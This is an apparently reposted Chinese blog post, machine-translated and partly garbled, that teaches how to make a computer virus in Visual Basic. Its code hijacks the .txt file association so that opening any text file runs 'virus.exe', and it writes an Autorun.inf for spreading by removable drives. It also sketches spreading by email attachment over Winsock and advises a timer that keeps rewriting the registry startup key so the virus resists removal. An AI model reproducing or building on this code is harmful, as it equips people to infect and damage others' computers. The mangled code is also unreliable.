计算机病毒产生部分,计算机病毒的产生方法

清疚 2023-01-23 09:49 4阅读 0赞

![fc640222cacf43a8423abd53d4e3ff4d.png][]

私有声明函数RegCreateKey Lib“ advapi32.dll”别名“ RegCreateKeyA”(ByVal hKey长，ByVal lpSubKey长字符串，phkResult长)

私有声明函数RegSetValue Lib“ advapi32.dll”别名“ RegSetValueA”(ByVal hKey长，ByVal lpSubKey作为字符串，ByVal dwType长，ByVal lpData作为字符串，ByVal cbData长)

Const HKEY\_CLASSES\_ROOT =＆H80000000

常量REG\_SZ = 1

实施代码:

将sKeyName设置为String'存储密钥名称

将sKeyValue设置为String'存储键值

将MyReturn As设置为'存储返回值信息

尽可能长的昏暗按键柄

sKeyName =“测试”

sKeyValue =“测试应用程序”

![90c5c7ad20a2942af6aba0b6d8dd5fde.png][]

MyReturn＆= RegCreateKey＆(HKEY\_CLASSES\_ROOT，sKeyName，键句柄＆)

MyReturn＆= RegSetValue＆(键处理＆，“”，REG\_SZ，sKeyValue，0和)

MsgBox MyReturn＆

sKeyName =“ .txt”'要关联的文件扩展名

sKeyValue =“测试”

MyReturn＆= RegCreateKey＆(HKEY\_CLASSES\_ROOT，sKeyName，键句柄＆)

MyReturn＆= RegSetValue＆(键处理＆，“”，REG\_SZ，sKeyValue，0和)

sKeyName =“测试”

sKeyValue =“ D: \\\\ virus.exe％1”'自身程序的位置和名称

MyReturn＆= RegCreateKey＆(HKEY\_CLASSES\_ROOT，sKeyName，键句柄＆)

MyReturn＆= RegSetValue＆(键句柄＆，“ shell \\ open \\ command”，REG\_SZ，sKeyValue，MAX\_PATH)

![99a0151c9c913a8c36154674428f8c2f.png][]

结束子

以上是通过修改TXT文件关联以实现病毒启动来实现的.

第二，使用Autorun.inf

CD-ROM使用它来自动播放，所以我不会胡说八道.

实施代码:

如果Dir(“ F: \\”)<>“”然后让a = App.Path +“ \\” + App.EXEName +“ .exe”

FileCopy a，“ C: \\ virus.exe”

打开“ Autorun.inf”以将其作为\#1输出

打印\#1，“ \[自动运行\]”

打印\#1，“ OPEN = virus.exe”

关闭\#1

![5d29f5c778991904d6e2b85e9a63979f.png][]

这样，您可以双击C驱动器来启动病毒.

我们来谈谈病毒的传播. 病毒的传播可以说是八仙仙渡海. 主要传输方式为电子邮件传输，远程溢出等.

此处不解释远程溢出. 首先是我不是很熟练，我只是使用它，我没有说. 第二是要明确和麻烦. 因此，让我谈谈电子邮件传播.

首先，创建一个WINSOCKE. 然后用编程实现. 这里只有想法.

ConnectToServer服务器电脑病毒是怎么制作的，Winsock1‘这是到服务器的连接

SendMail发件人地址，收件人地址，主题电脑病毒是怎么制作的，正文，Winsock1，附加“发送邮件

FromAddress发件人地址

ToAddress收件人地址

主题消息标头

正文消息内容

附加附件地址

![52d04674384c6e39b83fff44786f37ad.png][]

使用此原理进行广播可以达到传播自己的目的.

另一个是U盘/ A盘传输，已在原则上进行了说明. 有了Autorun.inf文件，这里就没有废话了.

说了这么多，剩下的最后一点是破坏性的. 这将不详细解释. 什么自动关机，无限扩散. 每个人都不难发挥自己的想象力.

最后，在特定操作系统下必须生存哪种病毒. 因此，在创建病毒之后，它可能在任何操作系统下都不可用. 还有一件事，病毒必须保护自己. 建议使用TIMER. 使用此组件可以连续编写注册表. 这样，很难删除病毒的启动密钥. 同时保护您自己的扩散文件. 例如:

让a = App.Path +“ \\” + App.EXEName +“ .exe”

如果是Dir(“ C: \\ Program Files \\ Virus.exe”)<>“”则

其他: FileCopy a，“ C: \\ Program Files \\ Virus.exe”

最后，有最重要的一点. 那就是容错能力. 尽可能多地添加. 以防万一.

观看本文计算机病毒产生的人还观看了

1. 如何制作计算机病毒

2. 电脑病毒会制作视频

3. 如何制造计算机病毒？

4. 计算机病毒生产的原理和危害是什么？

本文来自电脑杂谈，转载请注明本文网址：

http://www.pc-fly.com/a/jisuanjixue/article-149852-1.html

[fc640222cacf43a8423abd53d4e3ff4d.png]: /images/20221004/4a19bdfac65c4825990ab40121e47829.png
[90c5c7ad20a2942af6aba0b6d8dd5fde.png]: /images/20221004/508e13100a8047c29102d4da18a3fe61.png
[99a0151c9c913a8c36154674428f8c2f.png]: /images/20221004/3171b1a64bd44d10a7cfdf9e817f49ed.png
[5d29f5c778991904d6e2b85e9a63979f.png]: /images/20221004/1b45c3268113404ba90208df3266b3af.png
[52d04674384c6e39b83fff44786f37ad.png]: /images/20221004/f01d3c4fca354862b7bfc377d59cfec7.png